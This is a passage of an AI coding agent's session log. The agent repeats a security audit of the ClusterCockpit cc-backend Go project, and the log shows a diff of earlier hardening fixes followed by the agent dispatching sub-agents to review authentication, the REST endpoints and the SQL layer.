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{"parentUuid":"946356c3-7dd1-4e7e-af3a-6530c9521fa2","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_0138J6JnHADtuyve5wQjzzER","type":"tool_result","content":"commit 6f7e262f3f665ab5b007805a2e707adf8d7b4cd9\nAuthor: Jan Eitzinger <jan@moebiusband.org>\nDate:   Thu Jun 4 18:33:30 2026 +0200\n\n    Fix issues after security audit\n    \n    Entire-Checkpoint: bc18358a9343\n\ndiff --git a/CLAUDE.md b/CLAUDE.md\nindex 061d056b..fe6a7aab 100644\n--- a/CLAUDE.md\n+++ b/CLAUDE.md\n@@ -314,6 +314,24 @@ job,function=stop_job event=\"{\\\"jobId\\\":123,\\\"cluster\\\":\\\"test\\\",\\\"startTime\\\":1\n - Messages are logged; no responses are sent back to publishers\n - If NATS client is unavailable, API subscriptions are skipped (logged as warning)\n \n+### Security Considerations\n+\n+**The NATS API has no application-layer authentication or authorization.** Unlike\n+the REST endpoints (which require a JWT with `RoleAPI`), the subscribers process\n+any message delivered on the configured subjects. Anyone with publish rights to\n+those subjects on the broker can:\n+\n+- Insert arbitrary jobs (potentially attributed to other users)\n+- Mark running jobs as stopped, triggering archive/finalization\n+- Overwrite node state and health metadata for any cluster\n+\n+Operators MUST restrict publish ACLs at the NATS broker (per-account or\n+per-subject permissions) so that only trusted producers — e.g. the scheduler\n+integration on a known host or service account — can publish to the configured\n+`subject-job-event` and `subject-node-state` subjects. A shared, unrestricted\n+NATS broker is not a safe deployment topology for this API. A startup warning\n+is logged when these subscriptions are enabled.\n+\n ## Development Guidelines\n \n ### Performance\ndiff --git a/cmd/cc-backend/server.go b/cmd/cc-backend/server.go\nindex 85503535..33504988 100644\n--- a/cmd/cc-backend/server.go\n+++ b/cmd/cc-backend/server.go\n@@ -129,11 +129,19 @@ func (s *Server) init() error {\n \ts.router.Use(middleware.Compress(5))\n \ts.router.Use(middleware.Recoverer)\n \ts.router.Use(cors.Handler(cors.Options{\n-\t\tAllowCredentials: true,\n+\t\tAllowCredentials: false,\n \t\tAllowedHeaders:   []string{\"X-Requested-With\", \"Content-Type\", \"Authorization\", \"Origin\"},\n \t\tAllowedMethods:   []string{\"GET\", \"POST\", \"HEAD\", \"OPTIONS\"},\n \t\tAllowedOrigins:   []string{\"*\"},\n \t}))\n+\ts.router.Use(func(next http.Handler) http.Handler {\n+\t\treturn http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {\n+\t\t\tif r.TLS != nil || r.Header.Get(\"X-Forwarded-Proto\") == \"https\" {\n+\t\t\t\trw.Header().Set(\"Strict-Transport-Security\", \"max-age=31536000; includeSubDomains\")\n+\t\t\t}\n+\t\t\tnext.ServeHTTP(rw, r)\n+\t\t})\n+\t})\n \n \ts.restAPIHandle = api.New()\n \ndiff --git a/internal/api/api_test.go b/internal/api/api_test.go\nindex a8aef889..26ee456a 100644\n--- a/internal/api/api_test.go\n+++ b/internal/api/api_test.go\n@@ -170,6 +170,7 @@ func setup(t *testing.T) *api.RestAPI {\n \n \tarchiver.Start(repository.GetJobRepository(), context.Background())\n \n+\tt.Setenv(\"SESSION_KEY\", \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\")\n \tif cfg := ccconf.GetPackageConfig(\"auth\"); cfg != nil {\n \t\tauth.Init(&cfg)\n \t} else {\ndiff --git a/internal/api/nats.go b/internal/api/nats.go\nindex db33c0e2..0c967b83 100644\n--- a/internal/api/nats.go\n+++ b/internal/api/nats.go\n@@ -151,7 +151,10 @@ func (api *NatsAPI) StartSubscriptions() error {\n \t\t\treturn err\n \t\t}\n \n-\t\tcclog.Info(\"NATS API subscriptions started\")\n+\t\tcclog.Warnf(\"NATS API subscriptions started on subjects %q and %q — these are UNAUTHENTICATED: \"+\n+\t\t\t\"anyone with publish rights on the broker can start/stop jobs and update node state. \"+\n+\t\t\t\"Restrict publish ACLs on the NATS broker to trusted producers only.\",\n+\t\t\ts.SubjectJobEvent, s.SubjectNodeState)\n \t}\n \treturn nil\n }\ndiff --git a/internal/api/nats_test.go b/internal/api/nats_test.go\nindex b1d2a624..cc0bdf90 100644\n--- a/internal/api/nats_test.go\n+++ b/internal/api/nats_test.go\n@@ -156,6 +156,7 @@ func setupNatsTest(t *testing.T) *NatsAPI {\n \n \tarchiver.Start(repository.GetJobRepository(), context.Background())\n \n+\tt.Setenv(\"SESSION_KEY\", \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\")\n \tif cfg := ccconf.GetPackageConfig(\"auth\"); cfg != nil {\n \t\tauth.Init(&cfg)\n \t} else {\ndiff --git a/internal/auth/auth.go b/internal/auth/auth.go\nindex d1c004bd..8d8bc222 100644\n--- a/internal/auth/auth.go\n+++ b/internal/auth/auth.go\n@@ -9,7 +9,6 @@ package auth\n import (\n \t\"bytes\"\n \t\"context\"\n-\t\"crypto/rand\"\n \t\"database/sql\"\n \t\"encoding/base64\"\n \t\"encoding/json\"\n@@ -17,6 +16,7 @@ import (\n \t\"fmt\"\n \t\"net\"\n \t\"net/http\"\n+\t\"net/url\"\n \t\"os\"\n \t\"sync\"\n \t\"time\"\n@@ -187,19 +187,15 @@ func Init(authCfg *json.RawMessage) {\n \n \t\tsessKey := os.Getenv(\"SESSION_KEY\")\n \t\tif sessKey == \"\" {\n-\t\t\tcclog.Warn(\"environment variable 'SESSION_KEY' not set (will use non-persistent random key)\")\n-\t\t\tbytes := make([]byte, 32)\n-\t\t\tif _, err := rand.Read(bytes); err != nil {\n-\t\t\t\tcclog.Fatal(\"Error while initializing authentication -> failed to generate random bytes for session key\")\n-\t\t\t}\n-\t\t\tauthInstance.sessionStore = sessions.NewCookieStore(bytes)\n-\t\t} else {\n-\t\t\tbytes, err := base64.StdEncoding.DecodeString(sessKey)\n-\t\t\tif err != nil {\n-\t\t\t\tcclog.Fatal(\"Error while initializing authentication -> decoding session key failed\")\n-\t\t\t}\n-\t\t\tauthInstance.sessionStore = sessions.NewCookieStore(bytes)\n+\t\t\tcclog.Fatal(\"environment variable 'SESSION_KEY' not set: refusing to start with an ephemeral session key. \" +\n+\t\t\t\t\"Set SESSION_KEY in .env (base64-encoded 32 random bytes); a random key would invalidate all sessions on every restart \" +\n+\t\t\t\t\"and prevent sessions from validating across replicas.\")\n \t\t}\n+\t\tkeyBytes, err := base64.StdEncoding.DecodeString(sessKey)\n+\t\tif err != nil {\n+\t\t\tcclog.Fatal(\"Error while initializing authentication -> decoding session key failed\")\n+\t\t}\n+\t\tauthInstance.sessionStore = sessions.NewCookieStore(keyBytes)\n \n \t\tif d, err := time.ParseDuration(config.Keys.SessionMaxAge); err == nil {\n \t\t\tauthInstance.SessionMaxAge = d\n@@ -325,6 +321,7 @@ func (auth *Authentication) SaveSession(rw http.ResponseWriter, r *http.Request,\n \t\tsession.Options.Secure = false\n \t}\n \tsession.Options.SameSite = http.SameSiteLaxMode\n+\tsession.Options.HttpOnly = true\n \tsession.Values[\"username\"] = user.Username\n \tsession.Values[\"projects\"] = user.Projects\n \tsession.Values[\"roles\"] = user.Roles\n@@ -388,9 +385,12 @@ func (auth *Authentication) Login(\n \t\t\tcclog.Infof(\"login successfull: user: %#v (roles: %v, projects: %v)\", user.Username, user.Roles, user.Projects)\n \t\t\tctx := context.WithValue(r.Context(), repository.ContextUserKey, user)\n \n-\t\t\tif r.FormValue(\"redirect\") != \"\" {\n-\t\t\t\thttp.RedirectHandler(r.FormValue(\"redirect\"), http.StatusFound).ServeHTTP(rw, r.WithContext(ctx))\n-\t\t\t\treturn\n+\t\t\tif redirect := r.FormValue(\"redirect\"); redirect != \"\" {\n+\t\t\t\tif u, perr := url.Parse(redirect); perr == nil && u.Scheme == \"\" && u.Host == \"\" {\n+\t\t\t\t\thttp.RedirectHandler(redirect, http.StatusFound).ServeHTTP(rw, r.WithContext(ctx))\n+\t\t\t\t\treturn\n+\t\t\t\t}\n+\t\t\t\tcclog.Warnf(\"login redirect rejected (not a relative path): %q\", redirect)\n \t\t\t}\n \n \t\t\thttp.RedirectHandler(\"/\", http.StatusFound).ServeHTTP(rw, r.WithContext(ctx))\ndiff --git a/internal/auth/jwtCookieSession.go b/internal/auth/jwtCookieSession.go\nindex 4c4bbeb6..f16dbe5e 100644\n--- a/internal/auth/jwtCookieSession.go\n+++ b/internal/auth/jwtCookieSession.go\n@@ -9,6 +9,7 @@ import (\n \t\"crypto/ed25519\"\n \t\"encoding/base64\"\n \t\"errors\"\n+\t\"fmt\"\n \t\"net/http\"\n \t\"os\"\n \n@@ -119,22 +120,26 @@ func (ja *JWTCookieSessionAuthenticator) Login(\n \t\trawtoken = jwtCookie.Value\n \t}\n \n-\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n-\t\tif t.Method != jwt.SigningMethodEdDSA {\n-\t\t\treturn nil, errors.New(\"only Ed25519/EdDSA supported\")\n-\t\t}\n+\tparser := jwt.NewParser(jwt.WithValidMethods([]string{jwt.SigningMethodEdDSA.Alg()}))\n \n-\t\tunvalidatedIssuer, success := t.Claims.(jwt.MapClaims)[\"iss\"].(string)\n-\t\tif success && unvalidatedIssuer == jc.TrustedIssuer {\n-\t\t\t// The (unvalidated) issuer seems to be the expected one,\n-\t\t\t// use public cross login key from config\n-\t\t\treturn ja.publicKeyCrossLogin, nil\n-\t\t}\n+\tunverified, _, perr := parser.ParseUnverified(rawtoken, jwt.MapClaims{})\n+\tif perr != nil {\n+\t\tcclog.Warn(\"JWT cookie session: error while parsing token\")\n+\t\treturn nil, perr\n+\t}\n+\tissuer, _ := unverified.Claims.(jwt.MapClaims)[\"iss\"].(string)\n+\n+\tvar key any\n+\tswitch issuer {\n+\tcase jc.TrustedIssuer:\n+\t\tkey = ja.publicKeyCrossLogin\n+\tcase \"\":\n+\t\tkey = ja.publicKey\n+\tdefault:\n+\t\treturn nil, fmt.Errorf(\"untrusted JWT issuer: %q\", issuer)\n+\t}\n \n-\t\t// No cross login key configured or issuer not expected\n-\t\t// Try own key\n-\t\treturn ja.publicKey, nil\n-\t})\n+\ttoken, err := parser.Parse(rawtoken, func(*jwt.Token) (any, error) { return key, nil })\n \tif err != nil {\n \t\tcclog.Warn(\"JWT cookie session: error while parsing token\")\n \t\treturn nil, err","is_error":false}]},"uuid":"4a6d1bf3-182a-4ab9-a625-17c19424cbce","timestamp":"2026-06-04T16:40:47.009Z","toolUseResult":{"stdout":"commit 6f7e262f3f665ab5b007805a2e707adf8d7b4cd9\nAuthor: Jan Eitzinger <jan@moebiusband.org>\nDate:   Thu Jun 4 18:33:30 2026 +0200\n\n    Fix issues after security audit\n    \n    Entire-Checkpoint: bc18358a9343\n\ndiff --git a/CLAUDE.md b/CLAUDE.md\nindex 061d056b..fe6a7aab 100644\n--- a/CLAUDE.md\n+++ b/CLAUDE.md\n@@ -314,6 +314,24 @@ job,function=stop_job event=\"{\\\"jobId\\\":123,\\\"cluster\\\":\\\"test\\\",\\\"startTime\\\":1\n - Messages are logged; no responses are sent back to publishers\n - If NATS client is unavailable, API subscriptions are skipped (logged as warning)\n \n+### Security Considerations\n+\n+**The NATS API has no application-layer authentication or authorization.** Unlike\n+the REST endpoints (which require a JWT with `RoleAPI`), the subscribers process\n+any message delivered on the configured subjects. Anyone with publish rights to\n+those subjects on the broker can:\n+\n+- Insert arbitrary jobs (potentially attributed to other users)\n+- Mark running jobs as stopped, triggering archive/finalization\n+- Overwrite node state and health metadata for any cluster\n+\n+Operators MUST restrict publish ACLs at the NATS broker (per-account or\n+per-subject permissions) so that only trusted producers — e.g. the scheduler\n+integration on a known host or service account — can publish to the configured\n+`subject-job-event` and `subject-node-state` subjects. A shared, unrestricted\n+NATS broker is not a safe deployment topology for this API. A startup warning\n+is logged when these subscriptions are enabled.\n+\n ## Development Guidelines\n \n ### Performance\ndiff --git a/cmd/cc-backend/server.go b/cmd/cc-backend/server.go\nindex 85503535..33504988 100644\n--- a/cmd/cc-backend/server.go\n+++ b/cmd/cc-backend/server.go\n@@ -129,11 +129,19 @@ func (s *Server) init() error {\n \ts.router.Use(middleware.Compress(5))\n \ts.router.Use(middleware.Recoverer)\n \ts.router.Use(cors.Handler(cors.Options{\n-\t\tAllowCredentials: true,\n+\t\tAllowCredentials: false,\n \t\tAllowedHeaders:   []string{\"X-Requested-With\", \"Content-Type\", \"Authorization\", \"Origin\"},\n \t\tAllowedMethods:   []string{\"GET\", \"POST\", \"HEAD\", \"OPTIONS\"},\n \t\tAllowedOrigins:   []string{\"*\"},\n \t}))\n+\ts.router.Use(func(next http.Handler) http.Handler {\n+\t\treturn http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {\n+\t\t\tif r.TLS != nil || r.Header.Get(\"X-Forwarded-Proto\") == \"https\" {\n+\t\t\t\trw.Header().Set(\"Strict-Transport-Security\", \"max-age=31536000; includeSubDomains\")\n+\t\t\t}\n+\t\t\tnext.ServeHTTP(rw, r)\n+\t\t})\n+\t})\n \n \ts.restAPIHandle = api.New()\n \ndiff --git a/internal/api/api_test.go b/internal/api/api_test.go\nindex a8aef889..26ee456a 100644\n--- a/internal/api/api_test.go\n+++ b/internal/api/api_test.go\n@@ -170,6 +170,7 @@ func setup(t *testing.T) *api.RestAPI {\n \n \tarchiver.Start(repository.GetJobRepository(), context.Background())\n \n+\tt.Setenv(\"SESSION_KEY\", \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\")\n \tif cfg := ccconf.GetPackageConfig(\"auth\"); cfg != nil {\n \t\tauth.Init(&cfg)\n \t} else {\ndiff --git a/internal/api/nats.go b/internal/api/nats.go\nindex db33c0e2..0c967b83 100644\n--- a/internal/api/nats.go\n+++ b/internal/api/nats.go\n@@ -151,7 +151,10 @@ func (api *NatsAPI) StartSubscriptions() error {\n \t\t\treturn err\n \t\t}\n \n-\t\tcclog.Info(\"NATS API subscriptions started\")\n+\t\tcclog.Warnf(\"NATS API subscriptions started on subjects %q and %q — these are UNAUTHENTICATED: \"+\n+\t\t\t\"anyone with publish rights on the broker can start/stop jobs and update node state. \"+\n+\t\t\t\"Restrict publish ACLs on the NATS broker to trusted producers only.\",\n+\t\t\ts.SubjectJobEvent, s.SubjectNodeState)\n \t}\n \treturn nil\n }\ndiff --git a/internal/api/nats_test.go b/internal/api/nats_test.go\nindex b1d2a624..cc0bdf90 100644\n--- a/internal/api/nats_test.go\n+++ b/internal/api/nats_test.go\n@@ -156,6 +156,7 @@ func setupNatsTest(t *testing.T) *NatsAPI {\n \n \tarchiver.Start(repository.GetJobRepository(), context.Background())\n \n+\tt.Setenv(\"SESSION_KEY\", \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\")\n \tif cfg := ccconf.GetPackageConfig(\"auth\"); cfg != nil {\n \t\tauth.Init(&cfg)\n \t} else {\ndiff --git a/internal/auth/auth.go b/internal/auth/auth.go\nindex d1c004bd..8d8bc222 100644\n--- a/internal/auth/auth.go\n+++ b/internal/auth/auth.go\n@@ -9,7 +9,6 @@ package auth\n import (\n \t\"bytes\"\n \t\"context\"\n-\t\"crypto/rand\"\n \t\"database/sql\"\n \t\"encoding/base64\"\n \t\"encoding/json\"\n@@ -17,6 +16,7 @@ import (\n \t\"fmt\"\n \t\"net\"\n \t\"net/http\"\n+\t\"net/url\"\n \t\"os\"\n \t\"sync\"\n \t\"time\"\n@@ -187,19 +187,15 @@ func Init(authCfg *json.RawMessage) {\n \n \t\tsessKey := os.Getenv(\"SESSION_KEY\")\n \t\tif sessKey == \"\" {\n-\t\t\tcclog.Warn(\"environment variable 'SESSION_KEY' not set (will use non-persistent random key)\")\n-\t\t\tbytes := make([]byte, 32)\n-\t\t\tif _, err := rand.Read(bytes); err != nil {\n-\t\t\t\tcclog.Fatal(\"Error while initializing authentication -> failed to generate random bytes for session key\")\n-\t\t\t}\n-\t\t\tauthInstance.sessionStore = sessions.NewCookieStore(bytes)\n-\t\t} else {\n-\t\t\tbytes, err := base64.StdEncoding.DecodeString(sessKey)\n-\t\t\tif err != nil {\n-\t\t\t\tcclog.Fatal(\"Error while initializing authentication -> decoding session key failed\")\n-\t\t\t}\n-\t\t\tauthInstance.sessionStore = sessions.NewCookieStore(bytes)\n+\t\t\tcclog.Fatal(\"environment variable 'SESSION_KEY' not set: refusing to start with an ephemeral session key. \" +\n+\t\t\t\t\"Set SESSION_KEY in .env (base64-encoded 32 random bytes); a random key would invalidate all sessions on every restart \" +\n+\t\t\t\t\"and prevent sessions from validating across replicas.\")\n \t\t}\n+\t\tkeyBytes, err := base64.StdEncoding.DecodeString(sessKey)\n+\t\tif err != nil {\n+\t\t\tcclog.Fatal(\"Error while initializing authentication -> decoding session key failed\")\n+\t\t}\n+\t\tauthInstance.sessionStore = sessions.NewCookieStore(keyBytes)\n \n \t\tif d, err := time.ParseDuration(config.Keys.SessionMaxAge); err == nil {\n \t\t\tauthInstance.SessionMaxAge = d\n@@ -325,6 +321,7 @@ func (auth *Authentication) SaveSession(rw http.ResponseWriter, r *http.Request,\n \t\tsession.Options.Secure = false\n \t}\n \tsession.Options.SameSite = http.SameSiteLaxMode\n+\tsession.Options.HttpOnly = true\n \tsession.Values[\"username\"] = user.Username\n \tsession.Values[\"projects\"] = user.Projects\n \tsession.Values[\"roles\"] = user.Roles\n@@ -388,9 +385,12 @@ func (auth *Authentication) Login(\n \t\t\tcclog.Infof(\"login successfull: user: %#v (roles: %v, projects: %v)\", user.Username, user.Roles, user.Projects)\n \t\t\tctx := context.WithValue(r.Context(), repository.ContextUserKey, user)\n \n-\t\t\tif r.FormValue(\"redirect\") != \"\" {\n-\t\t\t\thttp.RedirectHandler(r.FormValue(\"redirect\"), http.StatusFound).ServeHTTP(rw, r.WithContext(ctx))\n-\t\t\t\treturn\n+\t\t\tif redirect := r.FormValue(\"redirect\"); redirect != \"\" {\n+\t\t\t\tif u, perr := url.Parse(redirect); perr == nil && u.Scheme == \"\" && u.Host == \"\" {\n+\t\t\t\t\thttp.RedirectHandler(redirect, http.StatusFound).ServeHTTP(rw, r.WithContext(ctx))\n+\t\t\t\t\treturn\n+\t\t\t\t}\n+\t\t\t\tcclog.Warnf(\"login redirect rejected (not a relative path): %q\", redirect)\n \t\t\t}\n \n \t\t\thttp.RedirectHandler(\"/\", http.StatusFound).ServeHTTP(rw, r.WithContext(ctx))\ndiff --git a/internal/auth/jwtCookieSession.go b/internal/auth/jwtCookieSession.go\nindex 4c4bbeb6..f16dbe5e 100644\n--- a/internal/auth/jwtCookieSession.go\n+++ b/internal/auth/jwtCookieSession.go\n@@ -9,6 +9,7 @@ import (\n \t\"crypto/ed25519\"\n \t\"encoding/base64\"\n \t\"errors\"\n+\t\"fmt\"\n \t\"net/http\"\n \t\"os\"\n \n@@ -119,22 +120,26 @@ func (ja *JWTCookieSessionAuthenticator) Login(\n \t\trawtoken = jwtCookie.Value\n \t}\n \n-\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n-\t\tif t.Method != jwt.SigningMethodEdDSA {\n-\t\t\treturn nil, errors.New(\"only Ed25519/EdDSA supported\")\n-\t\t}\n+\tparser := jwt.NewParser(jwt.WithValidMethods([]string{jwt.SigningMethodEdDSA.Alg()}))\n \n-\t\tunvalidatedIssuer, success := t.Claims.(jwt.MapClaims)[\"iss\"].(string)\n-\t\tif success && unvalidatedIssuer == jc.TrustedIssuer {\n-\t\t\t// The (unvalidated) issuer seems to be the expected one,\n-\t\t\t// use public cross login key from config\n-\t\t\treturn ja.publicKeyCrossLogin, nil\n-\t\t}\n+\tunverified, _, perr := parser.ParseUnverified(rawtoken, jwt.MapClaims{})\n+\tif perr != nil {\n+\t\tcclog.Warn(\"JWT cookie session: error while parsing token\")\n+\t\treturn nil, perr\n+\t}\n+\tissuer, _ := unverified.Claims.(jwt.MapClaims)[\"iss\"].(string)\n+\n+\tvar key any\n+\tswitch issuer {\n+\tcase jc.TrustedIssuer:\n+\t\tkey = ja.publicKeyCrossLogin\n+\tcase \"\":\n+\t\tkey = ja.publicKey\n+\tdefault:\n+\t\treturn nil, fmt.Errorf(\"untrusted JWT issuer: %q\", issuer)\n+\t}\n \n-\t\t// No cross login key configured or issuer not expected\n-\t\t// Try own key\n-\t\treturn ja.publicKey, nil\n-\t})\n+\ttoken, err := parser.Parse(rawtoken, func(*jwt.Token) (any, error) { return key, nil })\n \tif err != nil {\n \t\tcclog.Warn(\"JWT cookie session: error while parsing token\")\n \t\treturn nil, err","stderr":"","interrupted":false,"isImage":false,"noOutputExpected":false},"sourceToolAssistantUUID":"946356c3-7dd1-4e7e-af3a-6530c9521fa2","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"type":"last-prompt","lastPrompt":"I did a security review with Opus 4.7 . Fixes are already applied. Repeat the audit and check if anything severe was missed in the previous audit","leafUuid":"4a6d1bf3-182a-4ab9-a625-17c19424cbce","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9"}
{"type":"ai-title","aiTitle":"Repeat security audit after fixes","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9"}
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{"parentUuid":"6e83f099-bab5-4912-a468-282b4689417b","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01CNzchJft8ZaMeJ9bkLv4iC","type":"message","role":"assistant","content":[{"type":"text","text":"Now I understand the previous audit. It fixed: JWT algorithm/issuer confusion, SESSION_KEY enforcement, HttpOnly cookies, open redirect on login, CORS credentials, HSTS, and NATS auth warnings.\n\nLet me do a fresh independent audit. I'll fan out parallel agents across distinct attack surfaces to catch anything missed."}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":4398,"cache_read_input_tokens":28095,"output_tokens":4763,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":4398,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":4763,"cache_read_input_tokens":28095,"cache_creation_input_tokens":4398,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":4398},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiYwXMsypJZMmFQvmGBL","type":"assistant","uuid":"bf77d129-add7-4fd4-80d1-41e1e416d376","timestamp":"2026-06-04T16:41:32.334Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"bf77d129-add7-4fd4-80d1-41e1e416d376","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01CNzchJft8ZaMeJ9bkLv4iC","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_014MtKrAKQ3zeGaTdetcokVJ","name":"Agent","input":{"description":"Audit auth and session handling","prompt":"You are a security auditor doing a focused review of the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: Authentication and authorization ONLY. Focus on:\n- internal/auth/* (auth.go, jwt*.go, ldap.go, oidc.go, local.go, jwtCookieSession.go, jwtSession.go)\n- How JWT tokens are validated (signature, expiry, algorithm, audience, issuer)\n- Session cookie security\n- LDAP injection / bind handling\n- OIDC flow (state/nonce/PKCE, token validation, redirect handling)\n- Rate limiting on login\n- Role assignment and privilege escalation paths\n- API token / RoleAPI handling\n\nA previous audit ALREADY FIXED these (do NOT re-report them):\n1. JWT algorithm confusion + issuer validation in jwtCookieSession.go (now uses ParseUnverified + switch on issuer + WithValidMethods)\n2. SESSION_KEY now fatal if unset (was ephemeral random)\n3. session cookie HttpOnly=true added\n4. open redirect on login redirect param fixed (now checks relative path)\n5. CORS AllowCredentials=false + HSTS header\n\nFind anything SEVERE that was MISSED. For each finding: file:line, severity (critical/high/medium/low), concrete exploit scenario, and a suggested fix. Be precise and verify claims by reading the actual code. Do not report theoretical issues without code evidence. Report only real findings; if an area is clean, say so briefly.","subagent_type":"general-purpose"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":4398,"cache_read_input_tokens":28095,"output_tokens":4763,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":4398,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":4763,"cache_read_input_tokens":28095,"cache_creation_input_tokens":4398,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":4398},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiYwXMsypJZMmFQvmGBL","type":"assistant","uuid":"f08f0756-8628-46eb-a230-d579735f63fe","timestamp":"2026-06-04T16:41:32.449Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"f08f0756-8628-46eb-a230-d579735f63fe","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01CNzchJft8ZaMeJ9bkLv4iC","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01EPq1WotNXaigWMsoNj28uJ","name":"Agent","input":{"description":"Audit REST API endpoints","prompt":"You are a security auditor doing a focused review of the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: REST API ONLY. Files in internal/api/*.go (rest.go, and all handler files; EXCLUDE nats.go which is covered elsewhere).\n\nFocus on:\n- Authorization checks on each endpoint: is RoleAPI / RoleAdmin / RoleUser enforced consistently? Look for endpoints missing auth middleware or role checks.\n- IDOR / broken object-level authorization: can a user access/modify other users' jobs, tags, configurations? Check that user-supplied IDs are scoped to the requesting user where appropriate.\n- Input validation: integer parsing, unbounded queries, mass-assignment.\n- Path traversal in any endpoint that takes file paths or names.\n- SQL injection via query parameters passed to the repository layer.\n- Information disclosure in error messages.\n- Whether the routing in rest.go correctly applies auth middleware to all sensitive routes.\n\nTrace how routes are registered in rest.go (and cmd/cc-backend/server.go / router setup) and which middleware wraps them.\n\nFind anything SEVERE. For each finding: file:line, severity (critical/high/medium/low), concrete exploit scenario, and suggested fix. Verify claims by reading actual code. Report only real findings backed by code evidence; if clean, say so briefly.","subagent_type":"general-purpose"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":4398,"cache_read_input_tokens":28095,"output_tokens":4763,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":4398,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":4763,"cache_read_input_tokens":28095,"cache_creation_input_tokens":4398,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":4398},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiYwXMsypJZMmFQvmGBL","type":"assistant","uuid":"a988b96b-36fd-4cd3-9ab1-8e9f4f87615c","timestamp":"2026-06-04T16:41:32.599Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"a988b96b-36fd-4cd3-9ab1-8e9f4f87615c","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01CNzchJft8ZaMeJ9bkLv4iC","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_0127GXe94Rf11T1AzPAxYipg","name":"Agent","input":{"description":"Audit SQL and repository layer","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: Data access / SQL layer ONLY. Files in internal/repository/*.go.\n\nFocus on:\n- SQL injection: find every place a query is built with string concatenation/fmt.Sprintf instead of parameterized queries or safe query builders (squirrel). Pay special attention to ORDER BY, column names, LIMIT/OFFSET, filter building, and any raw string interpolation of user input into SQL.\n- The query builder usage (sq / squirrel) — are user-controlled column/sort fields whitelisted?\n- Search/filter functions that take user input (job search, user search, tag filtering).\n- Any Exec/Query/Raw calls with interpolated strings.\n\nGrep for fmt.Sprintf near SQL, \"SELECT\", \"WHERE\", \"ORDER BY\", \".Query(\", \".Exec(\", \"+ \" string concat in query context.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit (what input triggers it), and suggested fix. Verify by reading the actual code and confirm the input is actually user-controlled (trace the caller). Report only real, code-backed findings; if clean, say so 